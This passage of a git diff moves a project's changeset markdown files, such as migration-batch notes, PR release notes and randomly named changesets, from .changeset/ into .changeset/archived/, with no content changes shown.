.changeset/archived/migration-batch-5-ts.md diff --git a/.changeset/migration-batch-6-ts.md b/.changeset/archived/migration-batch-6-ts.md similarity index 100% rename from .changeset/migration-batch-6-ts.md rename to .changeset/archived/migration-batch-6-ts.md diff --git a/.changeset/migration-batch-7-ts.md b/.changeset/archived/migration-batch-7-ts.md similarity index 100% rename from .changeset/migration-batch-7-ts.md rename to .changeset/archived/migration-batch-7-ts.md diff --git a/.changeset/migration-batch-8-ts.md b/.changeset/archived/migration-batch-8-ts.md similarity index 100% rename from .changeset/migration-batch-8-ts.md rename to .changeset/archived/migration-batch-8-ts.md diff --git a/.changeset/migration-core-ts.md b/.changeset/archived/migration-core-ts.md similarity index 100% rename from .changeset/migration-core-ts.md rename to .changeset/archived/migration-core-ts.md diff --git a/.changeset/migration-finalize-ts.md b/.changeset/archived/migration-finalize-ts.md similarity index 100% rename from .changeset/migration-finalize-ts.md rename to .changeset/archived/migration-finalize-ts.md diff --git a/.changeset/migration-milestone-ts.md b/.changeset/archived/migration-milestone-ts.md similarity index 100% rename from .changeset/migration-milestone-ts.md rename to .changeset/archived/migration-milestone-ts.md diff --git a/.changeset/mvp-concept-cleanup-canary-prep.md b/.changeset/archived/mvp-concept-cleanup-canary-prep.md similarity index 100% rename from .changeset/mvp-concept-cleanup-canary-prep.md rename to .changeset/archived/mvp-concept-cleanup-canary-prep.md diff --git a/.changeset/mvp-resolution-verbs-and-fix-sdk-mode.md b/.changeset/archived/mvp-resolution-verbs-and-fix-sdk-mode.md similarity index 100% rename from .changeset/mvp-resolution-verbs-and-fix-sdk-mode.md rename to .changeset/archived/mvp-resolution-verbs-and-fix-sdk-mode.md diff --git a/.changeset/new-project-agent-diagnostics.md b/.changeset/archived/new-project-agent-diagnostics.md similarity index 100% rename from .changeset/new-project-agent-diagnostics.md rename to .changeset/archived/new-project-agent-diagnostics.md diff --git a/.changeset/nimble-deer-chatter.md b/.changeset/archived/nimble-deer-chatter.md similarity index 100% rename from .changeset/nimble-deer-chatter.md rename to .changeset/archived/nimble-deer-chatter.md diff --git a/.changeset/nimble-eagles-romp.md b/.changeset/archived/nimble-eagles-romp.md similarity index 100% rename from .changeset/nimble-eagles-romp.md rename to .changeset/archived/nimble-eagles-romp.md diff --git a/.changeset/nimble-lynx-tumble.md b/.changeset/archived/nimble-lynx-tumble.md similarity index 100% rename from .changeset/nimble-lynx-tumble.md rename to .changeset/archived/nimble-lynx-tumble.md diff --git a/.changeset/nimble-seals-munch.md b/.changeset/archived/nimble-seals-munch.md similarity index 100% rename from .changeset/nimble-seals-munch.md rename to .changeset/archived/nimble-seals-munch.md diff --git a/.changeset/nimble-sloths-zip.md b/.changeset/archived/nimble-sloths-zip.md similarity index 100% rename from .changeset/nimble-sloths-zip.md rename to .changeset/archived/nimble-sloths-zip.md diff --git a/.changeset/nimble-wolves-dart.md b/.changeset/archived/nimble-wolves-dart.md similarity index 100% rename from .changeset/nimble-wolves-dart.md rename to .changeset/archived/nimble-wolves-dart.md diff --git a/.changeset/noble-badgers-roar.md b/.changeset/archived/noble-badgers-roar.md similarity index 100% rename from .changeset/noble-badgers-roar.md rename to .changeset/archived/noble-badgers-roar.md diff --git a/.changeset/noble-jaguars-squeak.md b/.changeset/archived/noble-jaguars-squeak.md similarity index 100% rename from .changeset/noble-jaguars-squeak.md rename to .changeset/archived/noble-jaguars-squeak.md diff --git a/.changeset/noble-mice-squeak.md b/.changeset/archived/noble-mice-squeak.md similarity index 100% rename from .changeset/noble-mice-squeak.md rename to .changeset/archived/noble-mice-squeak.md diff --git a/.changeset/noble-otters-hop.md b/.changeset/archived/noble-otters-hop.md similarity index 100% rename from .changeset/noble-otters-hop.md rename to .changeset/archived/noble-otters-hop.md diff --git a/.changeset/noble-tigers-parade.md b/.changeset/archived/noble-tigers-parade.md similarity index 100% rename from .changeset/noble-tigers-parade.md rename to .changeset/archived/noble-tigers-parade.md diff --git a/.changeset/noble-yaks-zip.md b/.changeset/archived/noble-yaks-zip.md similarity index 100% rename from .changeset/noble-yaks-zip.md rename to .changeset/archived/noble-yaks-zip.md diff --git a/.changeset/opengsd-org-rename.md b/.changeset/archived/opengsd-org-rename.md similarity index 100% rename from .changeset/opengsd-org-rename.md rename to .changeset/archived/opengsd-org-rename.md diff --git a/.changeset/patient-ibex-gather.md b/.changeset/archived/patient-ibex-gather.md similarity index 100% rename from .changeset/patient-ibex-gather.md rename to .changeset/archived/patient-ibex-gather.md diff --git a/.changeset/patient-ibex-wake.md b/.changeset/archived/patient-ibex-wake.md similarity index 100% rename from .changeset/patient-ibex-wake.md rename to .changeset/archived/patient-ibex-wake.md diff --git a/.changeset/patient-lemurs-sing.md b/.changeset/archived/patient-lemurs-sing.md similarity index 100% rename from .changeset/patient-lemurs-sing.md rename to .changeset/archived/patient-lemurs-sing.md diff --git a/.changeset/patient-voles-swim.md b/.changeset/archived/patient-voles-swim.md similarity index 100% rename from .changeset/patient-voles-swim.md rename to .changeset/archived/patient-voles-swim.md diff --git a/.changeset/per-phase-type-models.md b/.changeset/archived/per-phase-type-models.md similarity index 100% rename from .changeset/per-phase-type-models.md rename to .changeset/archived/per-phase-type-models.md diff --git a/.changeset/phase-five-installer-migration-guardrails.md b/.changeset/archived/phase-five-installer-migration-guardrails.md similarity index 100% rename from .changeset/phase-five-installer-migration-guardrails.md rename to .changeset/archived/phase-five-installer-migration-guardrails.md diff --git a/.changeset/plucky-cats-purr.md b/.changeset/archived/plucky-cats-purr.md similarity index 100% rename from .changeset/plucky-cats-purr.md rename to .changeset/archived/plucky-cats-purr.md diff --git a/.changeset/plucky-eagles-roar.md b/.changeset/archived/plucky-eagles-roar.md similarity index 100% rename from .changeset/plucky-eagles-roar.md rename to .changeset/archived/plucky-eagles-roar.md diff --git a/.changeset/plucky-herons-sing.md b/.changeset/archived/plucky-herons-sing.md similarity index 100% rename from .changeset/plucky-herons-sing.md rename to .changeset/archived/plucky-herons-sing.md diff --git a/.changeset/plucky-ibex-gather.md b/.changeset/archived/plucky-ibex-gather.md similarity index 100% rename from .changeset/plucky-ibex-gather.md rename to .changeset/archived/plucky-ibex-gather.md diff --git a/.changeset/plucky-lemurs-dance.md b/.changeset/archived/plucky-lemurs-dance.md similarity index 100% rename from .changeset/plucky-lemurs-dance.md rename to .changeset/archived/plucky-lemurs-dance.md diff --git a/.changeset/plucky-moles-roam.md b/.changeset/archived/plucky-moles-roam.md similarity index 100% rename from .changeset/plucky-moles-roam.md rename to .changeset/archived/plucky-moles-roam.md diff --git a/.changeset/plucky-otters-roam.md b/.changeset/archived/plucky-otters-roam.md similarity index 100% rename from .changeset/plucky-otters-roam.md rename to .changeset/archived/plucky-otters-roam.md diff --git a/.changeset/plucky-pandas-sprint.md b/.changeset/archived/plucky-pandas-sprint.md similarity index 100% rename from .changeset/plucky-pandas-sprint.md rename to .changeset/archived/plucky-pandas-sprint.md diff --git a/.changeset/plucky-pumas-tumble.md b/.changeset/archived/plucky-pumas-tumble.md similarity index 100% rename from .changeset/plucky-pumas-tumble.md rename to .changeset/archived/plucky-pumas-tumble.md diff --git a/.changeset/plucky-rams-climb.md b/.changeset/archived/plucky-rams-climb.md similarity index 100% rename from .changeset/plucky-rams-climb.md rename to .changeset/archived/plucky-rams-climb.md diff --git a/.changeset/plucky-tunas-howl.md b/.changeset/archived/plucky-tunas-howl.md similarity index 100% rename from .changeset/plucky-tunas-howl.md rename to .changeset/archived/plucky-tunas-howl.md diff --git a/.changeset/plucky-yaks-forage.md b/.changeset/archived/plucky-yaks-forage.md similarity index 100% rename from .changeset/plucky-yaks-forage.md rename to .changeset/archived/plucky-yaks-forage.md diff --git a/.changeset/portable-bash-shebang-hooks.md b/.changeset/archived/portable-bash-shebang-hooks.md similarity index 100% rename from .changeset/portable-bash-shebang-hooks.md rename to .changeset/archived/portable-bash-shebang-hooks.md diff --git a/.changeset/pr-3112-release-note.md b/.changeset/archived/pr-3112-release-note.md similarity index 100% rename from .changeset/pr-3112-release-note.md rename to .changeset/archived/pr-3112-release-note.md diff --git a/.changeset/pr-3113-release-note.md b/.changeset/archived/pr-3113-release-note.md similarity index 100% rename from .changeset/pr-3113-release-note.md rename to .changeset/archived/pr-3113-release-note.md diff --git a/.changeset/pr-3115-release-note.md b/.changeset/archived/pr-3115-release-note.md similarity index 100% rename from .changeset/pr-3115-release-note.md rename to .changeset/archived/pr-3115-release-note.md diff --git a/.changeset/pr-3116-release-note.md b/.changeset/archived/pr-3116-release-note.md similarity index 100% rename from .changeset/pr-3116-release-note.md rename to .changeset/archived/pr-3116-release-note.md diff --git a/.changeset/pr-3118-release-note.md b/.changeset/archived/pr-3118-release-note.md similarity index 100% rename from .changeset/pr-3118-release-note.md rename to .changeset/archived/pr-3118-release-note.md diff --git a/.changeset/pr-3123-release-note.md b/.changeset/archived/pr-3123-release-note.md similarity index 100% rename from .changeset/pr-3123-release-note.md rename to .changeset/archived/pr-3123-release-note.md diff --git a/.changeset/pr-3124-release-note.md b/.changeset/archived/pr-3124-release-note.md similarity index 100% rename from .changeset/pr-3124-release-note.md rename to .changeset/archived/pr-3124-release-note.md diff --git a/.changeset/pr-3125-release-note.md b/.changeset/archived/pr-3125-release-note.md similarity index 100% rename from .changeset/pr-3125-release-note.md rename to .changeset/archived/pr-3125-release-note.md diff --git a/.changeset/proud-elks-snooze.md b/.changeset/archived/proud-elks-snooze.md similarity index 100% rename from .changeset/proud-elks-snooze.md rename to .changeset/archived/proud-elks-snooze.md diff --git a/.changeset/proud-sloths-rally.md b/.changeset/archived/proud-sloths-rally.md similarity index 100% rename from .changeset/proud-sloths-rally.md rename to .changeset/archived/proud-sloths-rally.md diff --git a/.changeset/quick-cranes-purr.md b/.changeset/archived/quick-cranes-purr.md similarity index 100% rename from .changeset/quick-cranes-purr.md rename to .changeset/archived/quick-cranes-purr.md diff --git a/.changeset/quick-deer-squeak.md b/.changeset/archived/quick-deer-squeak.md similarity index 100% rename from .changeset/quick-deer-squeak.md rename to .changeset/archived/quick-deer-squeak.md diff --git a/.changeset/quick-geese-hum.md b/.changeset/archived/quick-geese-hum.md similarity index 100% rename from .changeset/quick-geese-hum.md rename to .changeset/archived/quick-geese-hum.md diff --git a/.changeset/quick-otters-run.md b/.changeset/archived/quick-otters-run.md similarity index 100% rename from .changeset/quick-otters-run.md rename to .changeset/archived/quick-otters-run.md diff --git a/.changeset/quick-pumas-fly.md b/.changeset/archived/quick-pumas-fly.md similarity index 100% rename from .changeset/quick-pumas-fly.md rename to .changeset/archived/quick-pumas-fly.md diff --git a/.changeset/quick-quails-wake.md b/.changeset/archived/quick-quails-wake.md similarity index 100% rename from .changeset/quick-quails-wake.md rename to .changeset/archived/quick-quails-wake.md diff --git a/.changeset/quick-rams-wave.md b/.changeset/archived/quick-rams-wave.md similarity index 100% rename from .changeset/quick-rams-wave.md rename to .changeset/archived/quick-rams-wave.md diff --git a/.changeset/quick-voles-sprint.md b/.changeset/archived/quick-voles-sprint.md similarity index 100% rename from .changeset/quick-voles-sprint.md rename to .changeset/archived/quick-voles-sprint.md diff --git a/.changeset/quiet-geckos-switch.md b/.changeset/archived/quiet-geckos-switch.md similarity index 100% rename from .changeset/quiet-geckos-switch.md rename to .changeset/archived/quiet-geckos-switch.md diff --git a/.changeset/rapid-dogs-run.md b/.changeset/archived/rapid-dogs-run.md similarity index 100% rename from .changeset/rapid-dogs-run.md rename to .changeset/archived/rapid-dogs-run.md diff --git a/.changeset/rapid-goats-munch.md b/.changeset/archived/rapid-goats-munch.md similarity index 100% rename from .changeset/rapid-goats-munch.md rename to .changeset/archived/rapid-goats-munch.md diff --git a/.changeset/rapid-voles-hop.md b/.changeset/archived/rapid-voles-hop.md similarity index 100% rename from .changeset/rapid-voles-hop.md rename to .changeset/archived/rapid-voles-hop.md diff --git a/.changeset/research-flag-and-stale-refs.md b/.changeset/archived/research-flag-and-stale-refs.md similarity index 100% rename from .changeset/research-flag-and-stale-refs.md rename to .changeset/archived/research-flag-and-stale-refs.md diff --git a/.changeset/rewire-orphaned-workflows-3131.md b/.changeset/archived/rewire-orphaned-workflows-3131.md similarity index 100% rename from .changeset/rewire-orphaned-workflows-3131.md rename to .changeset/archived/rewire-orphaned-workflows-3131.md diff --git a/.changeset/scrub-stale-command-routes.md b/.changeset/archived/scrub-stale-command-routes.md similarity index 100% rename from .changeset/scrub-stale-command-routes.md rename to .changeset/archived/scrub-stale-command-routes.md diff --git a/.changeset/sdk-init-phase-flags.md b/.changeset/archived/sdk-init-phase-flags.md similarity index 100% rename from .changeset/sdk-init-phase-flags.md rename to .changeset/archived/sdk-init-phase-flags.md diff --git a/.changeset/serene-pandas-zip.md b/.changeset/archived/serene-pandas-zip.md similarity index 100% rename from .changeset/serene-pandas-zip.md rename to .changeset/archived/serene-pandas-zip.md diff --git a/.changeset/sharp-badgers-squeak.md b/.changeset/archived/sharp-badgers-squeak.md similarity index 100% rename from .changeset/sharp-badgers-squeak.md rename to .changeset/archived/sharp-badgers-squeak.md diff --git a/.changeset/sharp-quails-leap.md b/.changeset/archived/sharp-quails-leap.md similarity index 100% rename from .changeset/sharp-quails-leap.md rename to .changeset/archived/sharp-quails-leap.md diff --git a/.changeset/sharp-yaks-climb.md b/.changeset/archived/sharp-yaks-climb.md similarity index 100% rename from .changeset/sharp-yaks-climb.md rename to .changeset/archived/sharp-yaks-climb.md diff --git a/.changeset/shell-projection-cleanup.md b/.changeset/archived/shell-projection-cleanup.md similarity index 100% rename from .changeset/shell-projection-cleanup.md rename to .changeset/archived/shell-projection-cleanup.md diff --git a/.changeset/shell-projection-fs-migration.md b/.changeset/archived/shell-projection-fs-migration.md similarity index 100% rename from .changeset/shell-projection-fs-migration.md rename to .changeset/archived/shell-projection-fs-migration.md diff --git a/.changeset/shell-projection-io-seam.md b/.changeset/archived/shell-projection-io-seam.md similarity index 100% rename from .changeset/shell-projection-io-seam.md rename to .changeset/archived/shell-projection-io-seam.md diff --git a/.changeset/shell-projection-subprocess-migration.md b/.changeset/archived/shell-projection-subprocess-migration.md similarity index 100% rename from .changeset/shell-projection-subprocess-migration.md rename to .changeset/archived/shell-projection-subprocess-migration.md diff --git a/.changeset/ship-verification-actionable.md b/.changeset/archived/ship-verification-actionable.md similarity index 100% rename from .changeset/ship-verification-actionable.md rename to .changeset/archived/ship-verification-actionable.md diff --git a/.changeset/silly-badgers-frolic.md b/.changeset/archived/silly-badgers-frolic.md similarity index 100% rename from .changeset/silly-badgers-frolic.md rename to .changeset/archived/silly-badgers-frolic.md diff --git a/.changeset/silly-finches-travel.md b/.changeset/archived/silly-finches-travel.md similarity index 100% rename from .changeset/silly-finches-travel.md rename to .changeset/archived/silly-finches-travel.md diff --git a/.changeset/silly-foxes-sing.md b/.changeset/archived/silly-foxes-sing.md similarity index 100% rename from .changeset/silly-foxes-sing.md rename to .changeset/archived/silly-foxes-sing.md diff --git a/.changeset/silly-foxes-wander.md b/.changeset/archived/silly-foxes-wander.md similarity index 100% rename from .changeset/silly-foxes-wander.md rename to .changeset/archived/silly-foxes-wander.md diff --git a/.changeset/silly-jaguars-sing.md b/.changeset/archived/silly-jaguars-sing.md similarity index 100% rename from .changeset/silly-jaguars-sing.md rename to .changeset/archived/silly-jaguars-sing.md diff --git a/.changeset/silly-jaguars-swim.md b/.changeset/archived/silly-jaguars-swim.md similarity index 100% rename from .changeset/silly-jaguars-swim.md rename to .changeset/archived/silly-jaguars-swim.md diff --git a/.changeset/silly-newts-swim.md b/.changeset/archived/silly-newts-swim.md similarity index 100% rename from .changeset/silly-newts-swim.md rename to .changeset/archived/silly-newts-swim.md diff --git a/.changeset/silly-orcas-dance.md b/.changeset/archived/silly-orcas-dance.md similarity index 100% rename from .changeset/silly-orcas-dance.md rename to .changeset/archived/silly-orcas-dance.md diff --git a/.changeset/silly-seals-parade.md b/.changeset/archived/silly-seals-parade.md similarity index 100% rename from .changeset/silly-seals-parade.md rename to .changeset/archived/silly-seals-parade.md diff --git a/.changeset/silly-yaks-parade.md b/.changeset/archived/silly-yaks-parade.md similarity index 100% rename from .changeset/silly-yaks-parade.md rename to .changeset/archived/silly-yaks-parade.md diff --git a/.changeset/steady-badgers-rest.md b/.changeset/archived/steady-badgers-rest.md similarity index 100% rename from .changeset/steady-badgers-rest.md rename to .changeset/archived/steady-badgers-rest.md diff --git a/.changeset/steady-bears-purr.md b/.changeset/archived/steady-bears-purr.md similarity index 100% rename from .changeset/steady-bears-purr.md rename to .changeset/archived/steady-bears-purr.md diff --git a/.changeset/steady-geese-hum.md b/.changeset/archived/steady-geese-hum.md similarity index 100% rename from .changeset/steady-geese-hum.md rename to .changeset/archived/steady-geese-hum.md diff --git a/.changeset/steady-jays-click.md b/.changeset/archived/steady-jays-click.md similarity index 100% rename from .changeset/steady-jays-click.md rename to .changeset/archived/steady-jays-click.md diff --git a/.changeset/steady-jays-sing.md b/.changeset/archived/steady-jays-sing.md similarity index 100% rename from .changeset/steady-jays-sing.md rename to .changeset/archived/steady-jays-sing.md diff --git a/.changeset/steady-pandas-purr.md b/.changeset/archived/steady-pandas-purr.md similarity index 100% rename from .changeset/steady-pandas-purr.md rename to .changeset/archived/steady-pandas-purr.md diff --git a/.changeset/steady-ravens-shape.md b/.changeset/archived/steady-ravens-shape.md similarity index 100% rename from .changeset/steady-ravens-shape.md rename to .changeset/archived/steady-ravens-shape.md diff --git a/.changeset/steady-shell-projection.md b/.changeset/archived/steady-shell-projection.md similarity index 100% rename from .changeset/steady-shell-projection.md rename to .changeset/archived/steady-shell-projection.md diff --git a/.changeset/steady-yaks-caper.md b/.changeset/archived/steady-yaks-caper.md similarity index 100% rename from .changeset/steady-yaks-caper.md rename to .changeset/archived/steady-yaks-caper.md diff --git a/.changeset/steady-zebras-click.md b/.changeset/archived/steady-zebras-click.md similarity index 100% rename from .changeset/steady-zebras-click.md rename to .changeset/archived/steady-zebras-click.md diff --git a/.changeset/sturdy-finches-fly.md b/.changeset/archived/sturdy-finches-fly.md similarity index 100% rename from .changeset/sturdy-finches-fly.md rename to .changeset/archived/sturdy-finches-fly.md diff --git a/.changeset/sturdy-finches-sprint.md b/.changeset/archived/sturdy-finches-sprint.md similarity index 100% rename from .changeset/sturdy-finches-sprint.md rename to .changeset/archived/sturdy-finches-sprint.md diff --git a/.changeset/sturdy-geese-glide.md b/.changeset/archived/sturdy-geese-glide.md similarity index 100% rename from .changeset/sturdy-geese-glide.md rename to .changeset/archived/sturdy-geese-glide.md diff --git a/.changeset/sturdy-geese-roam.md b/.changeset/archived/sturdy-geese-roam.md similarity index 100% rename from .changeset/sturdy-geese-roam.md rename to .changeset/archived/sturdy-geese-roam.md diff --git a/.changeset/sturdy-jays-glide.md b/.changeset/archived/sturdy-jays-glide.md similarity index 100% rename from .changeset/sturdy-jays-glide.md rename to .changeset/archived/sturdy-jays-glide.md diff --git a/.changeset/sturdy-lynx-forage.md b/.changeset/archived/sturdy-lynx-forage.md similarity index 100% rename from .changeset/sturdy-lynx-forage.md rename to .changeset/archived/sturdy-lynx-forage.md diff --git a/.changeset/sturdy-lynx-march.md b/.changeset/archived/sturdy-lynx-march.md similarity index 100% rename from .changeset/sturdy-lynx-march.md rename to .changeset/archived/sturdy-lynx-march.md diff --git a/.changeset/sturdy-moles-bark.md b/.changeset/archived/sturdy-moles-bark.md similarity index 100% rename from .changeset/sturdy-moles-bark.md rename to .changeset/archived/sturdy-moles-bark.md diff --git a/.changeset/sturdy-otters-purr.md b/.changeset/archived/sturdy-otters-purr.md similarity index 100% rename from .changeset/sturdy-otters-purr.md rename to .changeset/archived/sturdy-otters-purr.md diff --git a/.changeset/sturdy-pandas-rest.md b/.changeset/archived/sturdy-pandas-rest.md similarity index 100% rename from .changeset/sturdy-pandas-rest.md rename to .changeset/archived/sturdy-pandas-rest.md diff --git a/.changeset/sturdy-pumas-sing.md b/.changeset/archived/sturdy-pumas-sing.md similarity index 100% rename from .changeset/sturdy-pumas-sing.md rename to .changeset/archived/sturdy-pumas-sing.md diff --git a/.changeset/sturdy-rams-caper.md b/.changeset/archived/sturdy-rams-caper.md similarity index 100% rename from .changeset/sturdy-rams-caper.md rename to .changeset/archived/sturdy-rams-caper.md diff --git a/.changeset/sturdy-rams-forage.md b/.changeset/archived/sturdy-rams-forage.md similarity index 100% rename from .changeset/sturdy-rams-forage.md rename to .changeset/archived/sturdy-rams-forage.md diff --git a/.changeset/sturdy-sloths-hum.md b/.changeset/archived/sturdy-sloths-hum.md similarity index 100% rename from .changeset/sturdy-sloths-hum.md rename to .changeset/archived/sturdy-sloths-hum.md diff --git a/.changeset/sturdy-wolves-frolic.md b/.changeset/archived/sturdy-wolves-frolic.md similarity index 100% rename from .changeset/sturdy-wolves-frolic.md rename to .changeset/archived/sturdy-wolves-frolic.md diff --git a/.changeset/sturdy-wolves-glide.md b/.changeset/archived/sturdy-wolves-glide.md similarity index 100% rename from .changeset/sturdy-wolves-glide.md rename to .changeset/archived/sturdy-wolves-glide.md diff --git a/.changeset/sturdy-writers-survive.md b/.changeset/archived/sturdy-writers-survive.md similarity index 100% rename from .changeset/sturdy-writers-survive.md rename to .changeset/archived/sturdy-writers-survive.md diff --git a/.changeset/sunny-dogs-frolic.md b/.changeset/archived/sunny-dogs-frolic.md similarity index 100% rename from .changeset/sunny-dogs-frolic.md rename to .changeset/archived/sunny-dogs-frolic.md diff --git a/.changeset/sunny-herons-bark.md b/.changeset/archived/sunny-herons-bark.md similarity index 100% rename from .changeset/sunny-herons-bark.md rename to .changeset/archived/sunny-herons-bark.md diff --git a/.changeset/sunny-ibex-wave.md b/.changeset/archived/sunny-ibex-wave.md similarity index 100% rename from .changeset/sunny-ibex-wave.md rename to .changeset/archived/sunny-ibex-wave.md diff --git a/.changeset/sunny-lynx-rally.md b/.changeset/archived/sunny-lynx-rally.md similarity index 100% rename from .changeset/sunny-lynx-rally.md rename to .changeset/archived/sunny-lynx-rally.md diff --git a/.changeset/sunny-pandas-dance.md b/.changeset/archived/sunny-pandas-dance.md similarity index 100% rename from .changeset/sunny-pandas-dance.md rename to .changeset/archived/sunny-pandas-dance.md diff --git a/.changeset/sunny-quails-swim.md b/.changeset/archived/sunny-quails-swim.md similarity index 100% rename from .changeset/sunny-quails-swim.md rename to .changeset/archived/sunny-quails-swim.md diff --git a/.changeset/swift-coyotes-document.md b/.changeset/archived/swift-coyotes-document.md similarity index 100% rename from .changeset/swift-coyotes-document.md rename to .changeset/archived/swift-coyotes-document.md diff --git a/.changeset/swift-otter-hum.md b/.changeset/archived/swift-otter-hum.md similarity index 100% rename from .changeset/swift-otter-hum.md rename to .changeset/archived/swift-otter-hum.md diff --git a/.changeset/swift-otter-pebble.md b/.changeset/archived/swift-otter-pebble.md similarity index 100% rename from .changeset/swift-otter-pebble.md rename to .changeset/archived/swift-otter-pebble.md diff --git a/.changeset/swift-sets-dedupe.md b/.changeset/archived/swift-sets-dedupe.md similarity index 100% rename from .changeset/swift-sets-dedupe.md rename to .changeset/archived/swift-sets-dedupe.md diff --git a/.changeset/tidy-finches-caper.md b/.changeset/archived/tidy-finches-caper.md similarity index 100% rename from .changeset/tidy-finches-caper.md rename to .changeset/archived/tidy-finches-caper.md diff --git a/.changeset/tidy-goats-cheer.md b/.changeset/archived/tidy-goats-cheer.md similarity index 100% rename from .changeset/tidy-goats-cheer.md rename to .changeset/archived/tidy-goats-cheer.md diff --git a/.changeset/tidy-herons-dance.md b/.changeset/archived/tidy-herons-dance.md similarity index 100% rename from .changeset/tidy-herons-dance.md rename to .changeset/archived/tidy-herons-dance.md diff --git a/.changeset/tidy-moles-rest.md b/.changeset/archived/tidy-moles-rest.md similarity index 100% rename from .changeset/tidy-moles-rest.md rename to .changeset/archived/tidy-moles-rest.md diff --git a/.changeset/tidy-orcas-romp.md b/.changeset/archived/tidy-orcas-romp.md similarity index 100% rename from .changeset/tidy-orcas-romp.md rename to .changeset/archived/tidy-orcas-romp.md diff --git a/.changeset/tidy-tigers-dance.md b/.changeset/archived/tidy-tigers-dance.md similarity index 100% rename from .changeset/tidy-tigers-dance.md rename to .changeset/archived/tidy-tigers-dance.md diff --git a/.changeset/tidy-tunas-zip.md b/.changeset/archived/tidy-tunas-zip.md similarity index 100% rename from .changeset/tidy-tunas-zip.md rename to .changeset/archived/tidy-tunas-zip.md diff --git a/.changeset/tidy-voles-rally.md b/.changeset/archived/tidy-voles-rally.md similarity index 100% rename from .changeset/tidy-voles-rally.md rename to .changeset/archived/tidy-voles-rally.md diff --git a/.changeset/typed-json-surfaces-455.md b/.changeset/archived/typed-json-surfaces-455.md similarity index 100% rename from .changeset/typed-json-surfaces-455.md rename to .changeset/archived/typed-json-surfaces-455.md diff --git a/.changeset/typed-rivers-flow.md b/.changeset/archived/typed-rivers-flow.md similarity index 100% rename from .changeset/typed-rivers-flow.md rename to .changeset/archived/typed-rivers-flow.md diff --git a/.changeset/update-banner-opt-in.md b/.changeset/archived/update-banner-opt-in.md similarity index 100% rename from .changeset/update-banner-opt-in.md rename to .changeset/archived/update-banner-opt-in.md diff --git a/.changeset/verifier-debt-gate.md b/.changeset/archived/verifier-debt-gate.md similarity index 100% rename from .changeset/verifier-debt-gate.md rename to .changeset/archived/verifier-debt-gate.md diff --git a/.changeset/vivid-eagles-climb.md b/.changeset/archived/vivid-eagles-climb.md similarity index 100% rename from .changeset/vivid-eagles-climb.md rename to .changeset/archived/vivid-eagles-climb.md diff --git a/.changeset/vivid-foxes-romp.md b/.changeset/archived/vivid-foxes-romp.md similarity index 100% rename from .changeset/vivid-foxes-romp.md rename to .changeset/archived/vivid-foxes-romp.md diff --git a/.changeset/vivid-jaguars-tumble.md b/.changeset/archived/vivid-jaguars-tumble.md similarity index 100% rename from .changeset/vivid-jaguars-tumble.md rename to .changeset/archived/vivid-jaguars-tumble.md diff --git a/.changeset/vivid-tunas-sing.md b/.changeset/archived/vivid-tunas-sing.md similarity index 100% rename from .changeset/vivid-tunas-sing.md rename to .changeset/archived/vivid-tunas-sing.md diff --git a/.changeset/w005-w006-i001-generator-migration.md b/.changeset/archived/w005-w006-i001-generator-migration.md similarity index 100% rename from .changeset/w005-w006-i001-generator-migration.md rename to .changeset/archived/w005-w006-i001-generator-migration.md diff --git a/.changeset/windows-npm-shell-fix.md b/.changeset/archived/windows-npm-shell-fix.md similarity index 100% rename from .changeset/windows-npm-shell-fix.md rename to .changeset/archived/windows-npm-shell-fix.md diff --git a/.changeset/wise-foxes-romp.md b/.changeset/archived/wise-foxes-romp.md similarity index 100% rename from .changeset/wise-foxes-romp.md rename to .changeset/archived/wise-foxes-romp.md diff --git a/.changeset/wise-hawks-bark.md b/.changeset/archived/wise-hawks-bark.md similarity index 100% rename from .changeset/wise-hawks-bark.md rename to .changeset/archived/wise-hawks-bark.md diff --git a/.changeset/wise-koalas-climb.md b/.changeset/archived/wise-koalas-climb.md similarity index 100% rename from .changeset/wise-koalas-climb.md rename to .changeset/archived/wise-koalas-climb.md diff --git a/.changeset/wise-mice-cheer.md b/.changeset/archived/wise-mice-cheer.md similarity index 100% rename from .changeset/wise-mice-cheer.md rename to .changeset/archived/wise-mice-cheer.md diff --git a/.changeset/wise-pumas-glide.md b/.changeset/archived/wise-pumas-glide.md similarity index 100% rename from .changeset/wise-pumas-glide.md rename to .changeset/archived/wise-pumas-glide.md diff --git a/.changeset/wise-pumas-march.md b/.changeset/archived/wise-pumas-march.md similarity index 100% rename from .changeset/wise-pumas-march.md rename to .changeset/archived/wise-pumas-march.md diff --git a/.changeset/wise-rams-gather.md b/.changeset/archived/wise-rams-gather.md similarity index 100% rename from .changeset/wise-rams-gather.md rename to .changeset/archived/wise-rams-gather.md diff --git a/.changeset/wise-yaks-run.md b/.changeset/archived/wise-yaks-run.md similarity index 100% rename from .changeset/wise-yaks-run.md rename to .changeset/archived/wise-yaks-run.md diff --git a/.changeset/witty-bears-climb.md b/.changeset/archived/witty-bears-climb.md similarity index 100% rename from .changeset/witty-bears-climb.md rename to .changeset/archived/witty-bears-climb.md diff --git a/.changeset/witty-geese-purr.md b/.changeset/archived/witty-geese-purr.md similarity index 100% rename from .changeset/witty-geese-purr.md rename to .changeset/archived/witty-geese-purr.md diff --git a/.changeset/witty-hawks-jump.md b/.changeset/archived/witty-hawks-jump.md similarity index 100% rename from .changeset/witty-hawks-jump.md rename to .changeset/archived/witty-hawks-jump.md diff --git a/.changeset/witty-newts-greet.md b/.changeset/archived/witty-newts-greet.md similarity index 100% rename from .changeset/witty-newts-greet.md rename to .changeset/archived/witty-newts-greet.md diff --git a/.changeset/witty-wasps-hum.md b/.changeset/archived/witty-wasps-hum.md similarity index 100% rename from .changeset/witty-wasps-hum.md rename to .changeset/archived/witty-wasps-hum.md diff --git a/.changeset/yaml-echo-colon-escape.md b/.changeset/archived/yaml-echo-colon-escape.md similarity index 100% rename from .changeset/yaml-echo-colon-escape.md rename to .changeset/archived/yaml-echo-colon-escape.md diff --git a/.changeset/zesty-eagles-fly.md b/.changeset/archived/zesty-eagles-fly.md similarity index 100% rename from .changeset/zesty-eagles-fly.md rename to .changeset/archived/zesty-eagles-fly.md diff --git a/.changeset/zesty-goats-dart.md b/.changeset/archived/zesty-goats-dart.md similarity index 100% rename from .changeset/zesty-goats-dart.md rename to .changeset/archived/zesty-goats-dart.md diff --git a/.changeset/zesty-jays-wake.md b/.changeset/archived/zesty-jays-wake.md similarity index 100% rename from .changeset/zesty-jays-wake.md rename to .changeset/archived/zesty-jays-wake.md diff --git a/.changeset/zesty-moles-forage.md b/.changeset/archived/zesty-moles-forage.md similarity index 100% rename from .changeset/zesty-moles-forage.md rename to .changeset/archived/zesty-moles-forage.md diff --git a/.changeset/zesty-quails-wave.md b/.changeset/archived/zesty-quails-wave.md similarity index 100% rename from 